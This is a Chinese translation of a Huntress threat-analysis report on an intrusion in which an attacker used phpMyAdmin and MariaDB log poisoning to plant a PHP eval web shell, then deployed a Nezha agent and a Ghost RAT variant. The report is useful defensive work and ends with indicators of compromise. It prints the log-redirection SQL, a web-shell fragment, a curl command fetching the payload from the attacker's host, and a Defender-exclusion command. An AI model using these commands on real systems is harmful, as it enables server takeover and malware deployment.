背景 / 摘要
如果你的网络应用在线运行,某个时候很可能会遭到攻击。威胁行为者利用面向公众的网络应用有几个原因,包括:
获取对目标环境的初始访问权限 篡改网站外观 对特定一组个人进行战略性网站入侵,然后利用这些被攻破的网站作为靶向攻击的跳板
这些攻击可能来自机器人和机会主义威胁参与者,但有时也可能远为针对性强。
从 2025 年 8 月开始,Huntress 发现一次入侵事件,威胁行为者使用一种称为日志投毒(也称日志注入)的创新技术,在一台 Web 服务器上植入了一个基础评估型 Web shell(也常被称为 China Chopper Web shell)。这使得威胁行为者可以使用 AntSword 控制该 Web 服务器,并最终部署 Nezha——一种允许在 Web 服务器上运行命令的运维与监控工具。有趣的是,随后该工具被用于在系统上部署 Ghost RAT。据我们所知,这是首次公开报告 Nezha 被用来促成 Web 入侵。
对该入侵的分析显示,威胁行为者可能已攻破超过100台受害机器,这些机器最常见的地点似乎位于日本、韩国。
这一活动突显了攻击者如何随着新兴且公开可获得的工具一旦出现,越来越多地滥用它们以达成目的。因此,这也严厉提醒我们:尽管公开可得的工具可被用于合法用途,但由于研究成本低、相比定制化恶意软件更能提供合理否认的可能性,以及更有可能逃避安全产品检测,这类工具也常被威胁行为者滥用。
深入的威胁分析
我们的故事从许多案例常见的起点开始:一个易受攻击的面向公共的网络应用。通过审查网络服务器日志并将其与端点数据相关联,我们得以拼凑出入侵的时间顺序叙述。
初始访问
对 Apache Web 服务器访问日志的分析表明,威胁行为者的初始入侵点是通过 phpMyAdmin 面板。
对 Web 服务器配置的回溯性分析揭示了默认 phpMyAdmin 配置文件存在缺陷,该文件不需要任何认证且本不应对互联网暴露,但由于在事件发生前几个月 DNS 记录发生更改,导致其被暴露。
威胁行为者使用位于香港的 AWS 托管 IP 地址访问了该服务器。
IP:54.46.50[.]255 ASN:16509 ISP:Amazon.com Inc. 服务:数据中心
威胁行为者一进入管理界面,便将语言设置为简体中文,该选项在主页面可见。
当更改语言时,这在以下请求中被记录下来。
54.46.50[.]255 - - [06/Aug/2025:00:51:56 +0000] "GET /phpmyadmin/js/whitelist.php?v=5.0.1&lang=zh_CN HTTP/1.1" 200 478
54.46.50[.]255 - - [06/Aug/2025:00:51:57 +0000] "GET /phpmyadmin/js/messages.php?l=zh_CN&v=5.0.1&lang=zh_CN HTTP/1.1" 200 9704
54.46.50[.]255 - - [06/Aug/2025:00:52:00 +0000] "POST /phpmyadmin/navigation.php?ajax_request=1&lang=zh_CN HTTP/1.1" 200 2453
54.46.50[.]255 - - [06/Aug/2025:00:52:01 +0000] "POST /phpmyadmin/db_structure.php?ajax_request=1&favorite_table=1&sync_favorite_tables=1&lang=zh_CN HTTP/1.1" 200 162
该 Web shell
大约在切换语言后 30 秒,威胁行为者访问了服务器的 SQL 查询界面。
54.46.50[.]255 - - [06/八月/2025:00:52:33 +0000] "GET /phpmyadmin/server_sql.php?lang=zh_CN&ajax_request=true&ajax_page_request=true&_nocache=175452726217376975&token=6f336f372c5a642b57413363265e7d7e HTTP/1.1" 200 4652
威胁行为者随后通过对 import.php、db_sql_autocomplete 和 lint.php 发出 POST 请求,交互式地运行了六条 SQL 命令,每个请求之间仅相隔数秒。
命令运行的速度表明该威胁行为者对 SQL 语法有经验,这表明他们很可能并非首次通过 phpMyAdmin 和 MariaDB 使用日志投毒来部署 web shell。
为了将查询记录到磁盘,从而允许他们部署 web shell,攻击者很可能执行了以下命令:
SET GLOBAL general_log_file = '../../htdocs/123.php';
SET GLOBAL general_log = 'ON';
这既代表了目录遍历漏洞,也代表了未对通用日志文件强制要求 .log 扩展名所导致的漏洞。该漏洞已向 MariaDB 的维护者报告;然而,由于成功利用该漏洞需要满足权限要求,因此并未被视为漏洞:
如果运行 MariaDB 进程的用户没有对 Web 服务器的 htdocs 目录的写入权限 如果用于访问数据库的帐户没有分配 SUPER 权限,则此命令将会失败
问题在于 Apache 发行版(例如 XAMPP)默认将数据库服务和 Web 服务以相同的用户帐户运行。更糟糕的是,它们以 root 数据库帐户在无认证的情况下运行,同时捆绑了易受攻击的软件版本。
在撰写本文时,最新版本的 XAMPP(每周下载量达数十万次)自 2023 年 11 月起就未再更新,且使用的是已到生命周期终止(EoL)的 MariaDB 10.4.32。鉴于其已到 EoL,即便该问题在后续版本的 MariaDB 中得到修补,最有可能受影响的人也很可能不知道这一点,或无法轻易更新他们的 MariaDB 版本。
由于威胁行为者启用了常规日志记录,我们可以看到他们执行的查询。大多数看起来是标准的环境设置,但用蓝色和红色标出的命令尤其值得关注。
蓝色标出的命令表示攻击者的自定义环境配置:
SET lc_messages = 'zh_CN';
这将把 MariaDB 实例的消息语言(例如警告或错误)设置为简体中文,以匹配在其 phpMyAdmin 活动中观察到的语言偏好。
用红色标出的命令很值得注意,那是一个藏在 80 行 MariaDB 日志条目中的 web shell 有效载荷。
使用日志中毒来获取一个 shell 本身非常有创意,而且需要若干步骤。攻击者首先启用了通用查询日志,使得所有查询都会记录到磁盘。接着他们发出了包含单行 PHP web shell 的查询,使其被记录在日志文件中。关键在于,他们将日志文件的名称设置为带有 .php 扩展名,从而可以通过向服务器发送 POST 请求直接执行它。最后,该文件被放置在可通过互联网访问的目录中,使得该 web shell 在普通日志条目中显得隐藏而又显而易见。
下面是对以下 PHP 命令的解析:
name=$name);}}$me=new user;$me->ddd("$_REQUEST[1]");?>
它定义了一个名为 user 的类,包含一个名为 ddd 的方法,该方法接收一个名为 $name 的参数。 eval($this->name=$name);
是负载的恶意核心。PHP 中的 eval 函数会把传入的任何字符串作为 PHP 代码执行。这里,它执行通过 $name 参数提供的任意输入。创建了一个 $me
的实例,并以$_REQUEST[1]
作为参数调用 ddd,该参数成为 $name。
简单来说,这段代码将 HTTP POST 请求中提供的任何内容作为 PHP 在服务器上执行。这类一行代码常与 AntSword 或 China Chopper 等工具有关,它们使用类似机制将命令从攻击者系统发送到被攻陷主机,从而创建一个简单但高度有效和功能性的后门。
在部署 web shell 之后,威胁行为者向该 web shell 发起了一个 GET 请求以确认其正常工作,30 秒后,用于与该 web shell 交互的 IP 地址变更为 45.207.220[.]12。这表明威胁行为者要么试图将其最初的入侵活动与后续活动从单一 IP 地址上分离,要么更可能的是,他们已将对该 web shell 的访问权限转交给了另一个人。后一种情形在具有明确分工并为实现更大目标而协作的威胁团体中很常见。
每一个这些 POST 请求都代表攻击者的 C2 服务器通过部署的 Web shell 向被攻破的 Web 服务器发送指令。在我们的调查过程中,我们发现威胁行为者将 RPC 和 WinRM 暴露到互联网,这使得诸如 Shodan 之类的服务能够获取该 IP 地址背后系统的详细信息,其中包括主机名 WIN-DNF8DJKNVH0。这也泄露了该系统使用的时区偏移为 UTC+8。
有趣的是,该 IP 地址使用的自治系统为 53808,注册给名为 MoeDove LLC 的提供商,IP 段由 Cloud Innovation Ltd 提供。下方信息涉及 Hurricane Electric Internet Services。该自治系统首次注册于 2024 年 4 月 1 日。
看来被分配到该自治系统编号(ASN)IP 范围的域名存在可疑之处,尽管它们并未与所观察到的入侵事件直接关联,但确实值得注意,尤其是那些似乎使用域名生成算法的域名(在 xyz 顶级域上承载的 6 个数字值)。这个域名生成算法将在后文出现并变得重要。
MoeDove LLC 的网上存在显得有些可疑。除了拥有一个乍看之下颇为专业的网站外,任何指向其名为 Free Cloud Services 和 L2 Transit for Free 的非营利项目的链接实际上都无法打开。
回到 2025 年 6 月,该网站看起来相当简陋,并链接到一款由颇受欢迎的角色扮演游戏。
一个似乎与该实体相关的 GitHub 账户只有一名成员且没有公开仓库。
MoeDove LLC 可能是一个非常小的组织。截至撰写本文时,MoeDove LLC 仅运营了大约一年半。
Nezha:一个新的远程监控与管理(RMM)工具加入战局
尽管 Apache 访问日志有助于识别 web shell,但由于通过 POST 请求发送实际命令,这些访问日志无法显示具体命令。为了解确切命令,Huntress 利用了 Huntress EDR 产品的遥测数据。
在上方截图中,触发了一个警报,显示 Apache 网页服务器进程(httpd.exe)运行了一个特定的子进程。这发生在对 PHP web shell 的一次 POST 请求的完全相同时间点。值得注意的是,所运行的命令与下面所示使用 AntSword 的 虚拟终端功能 时所看到的命令相同。
具体来说,上述命令中使用了以下变量:
path: C:WindowsCursors
cmd:curl -O live.exe https[://]rism[.]pages[.]dev/microsoft.exe stag (start tag): 8394e84 etag(结束标签): a7ad42acaca
stag 和 etag 是在每次访问 AntSword 的虚拟终端功能时动态设置的变量,旨在保持它们的唯一性并使指纹识别更加困难。
由于 httpd.exe 是该 WebShell 有害程序的父进程,通过筛选由此进程派生的进程,Huntress 能够识别出通过 AntSword 虚拟终端运行的命令:
第一个操作是一个简单的 whoami 命令,用于了解 Web 服务器在何种用户权限下运行。
之后,该威胁行为者将 AntSword 虚拟终端的工作目录更改为 C:WindowsCursors,这是 Windows 上存在的一个合法目录,通常用于存放光标文件。
该威胁行动者随后从一个基于 Cloudflare Pages 构建的网站 rism.pages[.]dev 下载了二次负载——一个名为 live.exe 的可执行文件及其随附的 config.yml。
live.exe 被确定为一个 Nezha 代理的安装程序。Nezha 被宣传为一款轻量级的开源服务器监控和任务管理工具,可公开获取。尽管它有合法用途,但本案的新发现表明,该工具也被用来促进网络入侵后的后续活动。
Nezha 代理使用的 config.yml 文件指向攻击者的服务器 c.mid[.]al。
该域名解析到位于都柏林的一个 IP 地址,该地址属于 HostPapa 提供的虚拟专用服务器。
Shodan 确认端口 80 正在提供一个 Nezha 实例,并且该主机还开放了 SSH。
虽然 Nezha 监控服务器本身需要管理员凭证才能检索有关系统的详细信息并通过其安装的 Nezha Agent 对其进行控制,但查看所安装系统的系统健康信息并不需要身份验证。一个有趣的观察是,该威胁行为者将其 Nezha 仪表盘设置为俄语。
在调查时,似乎有超过100个潜在受害者,而且这一数字随着时间只增不减。
机器中的 Ghost RAT
在安装 Nezha 代理后,攻击者利用它运行了一个交互式 PowerShell,以便在部署并运行另一个名为 x.exe 的可执行文件之前创建 Windows Defender 排除项。
00:58:28 - live.exe(Nezha)产生了提升权限的 powershell.exe 会话 00:58:43 - powershell.exe 执行了 **Add-MpPreference -ExclusionPath 'C:WINDOWS'**,以禁用 Windows Defender 对 Windows 文件夹的扫描。 00:59:02 - x.exe 从 *C:WindowsCursors* 目录执行。
对 x.exe 的分析显示其很可能是 Ghost RAT(也称为 Gh0st RAT)的一种变种。x.exe 执行的安装过程也与 Hunt.IO 的公开报告有显著重合,且二进制文件具有相同的创建时间戳(2020-04-25 19:13:10 UTC);然而,Hunt IO 表示该恶意软件是 RunningRAT 的一个变种。这表明两类恶意软件之间可能存在某些代码重用,或者 Hunt IO 基于公开可用的 Yara 签名错误地将其归因于 RunningRAT。
虽然由 Hunt.IO 识别的恶意软件与使用我们基于分配给 MoeDove LLC 的 IP 所识别的相同六位数字域名生成算法的域进行通信(host[.]404111[.]xyz),但该变种改为与一个略有不同的 xyz 顶级域进行通信: gd[.]bj2[.]xyz。
在虚拟机中使用 Procmon 和 Procdot 对 x.exe 进行快速动态分析显示出许多指示器:
所有红色框中的内容显示了使用名为“SQLlite”的服务创建持久化机制,并在 System32 目录中放置了一个同样拼写错误的二进制文件。此活动与 Huntress 针对该恶意软件所使用的执行和持久化机制发出的警报一致。
SQLlite.exe 实际上是被恶意软件重命名的 rundll32.exe 可执行文件,用于加载 MainThread 从 32138546.dll 导出的函数。执行后,x.exe 会创建一个名为 gd.bj2[.]xyz:53762:SQLlite 的互斥体,该名称对应恶意软件使用的域名、端口和服务名。
蓝色框突出显示了与 45.207.220[.]12 的连接。这与我们通过 AntSword 观察到操作该 web shell 的相同 IP 相符。查看 gd[.]bj2[.]xyz 的 A 记录显示它解析到该 IP 地址,并通过 Porkbun, LLC 注册。
有趣的是,查看该域名的 DNS 历史显示,其注册地址在 2021 年底之前为 Beijing,CN,之后更改为 guang dong,CN,并归属于注册组织 you shi ke ji ( zhong guo ) you xian gong si。到 2023 年,这些详细信息出于隐私原因被全部屏蔽。该注册人过去曾因注册可疑域名而被提及,其中包括在 2019 年假冒一家制药品牌的一个。
幸运的是,Huntress 能够隔离系统并在攻击者实施任何进一步目标之前,通过移除 Web shell、Nezha 代理和恶意软件来修复该事件。
Ghost RAT 植入分析
阶段 1(加载器):
初始阶段是一个包含一些简单防分析功能的小型加载器,然后运行一个嵌入的可执行文件。为了启动嵌入的 DLL,该二进制文件创建了一个异常处理程序,当触发时,该处理程序会加载并执行名为“Main”的导出函数。
创建异常处理程序后,它会将 DLL 的地址压入堆栈,然后调用 CxxThrowException 来无条件触发该异常并加载恶意 DLL。
阶段 2(投放器):
阶段 2 负责配置并运行最终的 Ghost RAT 负载。与第一阶段在数据段中嵌入另一个可执行文件的方式类似,这一阶段在数据段中以反向存放了最终的 Ghost RAT PE。需要注意的是,该可执行文件并不完整,因为它缺少配置,阶段 2 会将配置补丁写入。
投放器执行的第一步是将嵌入的可执行文件的字节反转,该可执行文件从 0x10003010 开始,长度为 0x9400 字节。完成后,他们搜索字节 “**.HL.**” 的首次出现位置,该位置就是被置为零的配置段所在。
以下 Python 脚本可用于检索此 Ghost RAT 样本的配置:
defdecrypt_config(enc: bytes) -> bytes:
key = [6, 7]
out = bytearray()
for i, j in enumerate(enc):
out.append(((j - 0x7a) & 0xFF) ^ key[i % 2])
return out
在此案例中,完全解密的配置如下所示(十六进制转储):
阶段 3(Ghost RAT):
最后阶段是对 Ghost RAT 的标准实现。所有 WinApi 函数均通过 GetProcAddress 动态解析,并存储到一个大型函数表中,该表可以轻易地重新组装:
该样本的 C2 处理程序与 ZScaler 报告中观察到的恶意软件非常相似。存在两组独立的命令,第一组负责运行其他 DLL 功能,第二组则直接在负载内运行命令。
第一组命令块如下:
命令 ID | 功能 |
---|---|
我们观察到的 DD373 变种在功能上并未包含除标准 Ghost RAT 功能集之外的任何额外独特功能。
子域名洞察
查看威胁行为者 C2 域名 bj2[.]xyz 的子域时,发现了一个有趣的子域 lhr,它指向了一个不同的 IP 地址 38.246.250[.]201,该地址似乎由 Netlab Global 提供的独立 IP 托管。该 IP 后面似乎有一台运行 OpenWrt 的路由器,以及一套运行 fnOS 的系统,一种常用的 NAS 操作系统。该 NAS 的登录页面显示了一个有趣且独特的字符串:cuoxianxu
结论
这篇博客提供了对一名技术娴熟的对手作战手册的深入观察。尽管该威胁行为者在操作安全上犯了错误,但他们迅速入侵系统并利用一种鲜为人知的工具长期保持访问的能力不可小觑。最初通过一种创造性的方式将 web shell 投放到系统上的行为,很快升级为一个多阶段攻击,显示出明显的隐蔽性和持久性的关注。
工具、恶意软件、IP 地址、域名和受害者人口统计数据都指向一个技术熟练但报道不足的威胁行为者。为了识别此类活动,防御方需要具备能够发现利用后技术的可视性和检测逻辑,例如可疑的服务创建、可能存在 Web shell 的迹象,以及从可疑目录运行的可执行文件。
此次事件强调了必须确保对外公开的应用程序及时打补丁并进行加固,尽可能要求进行身份验证,同时这些措施在测试环境中也应与生产环境同等重视。通过了解像这样的攻击者所使用的逐步流程, 我们可以更好地调校我们的工具、培训我们的分析师,并追踪动手操作入侵的细微迹象。
IOC(指示性妥协迹象)
项目 | 描述 |
---|---|
文件 | |
路径:C:xamphtdocs123.phpSHA256:f3570bb6e0f9c695d48f89f043380b43831dd0f6fe79b16eda2a3ffd9fd7ad16 | |
URL:https://rism.pages[.]dev/microsoft.exePATH:C:WindowsCursorslive.exeSHA256:9f33095a24471bed55ce11803e4ebbed5118bfb5d3861baf1c8214efcd9e7de6 | |
路径:C:WindowsCursorsx.exeSHA256:7b2599ed54b72daec0acfd32744c7a9a77b19e6cf4e1651837175e4606dbc958 | |
路径:C:Windowssystem32SQLlite.exeSHA256:82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 | |
路径:C:Windowssystem3232138546.dllSHA256:35e0b22139fb27d2c9721aedf5770d893423bf029e1f56be92485ff8fce210f3 | |
基础设施 | |
54.46.50[.]255 | |
45.207.220[.]12 | |
c.mid[.]al 172.245.52[.]169 | |
gd.bj2[.]xyz | |
杂项 | |
SQLlite | |
gd.bj2[.]xyz:53762:SQLlite |
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...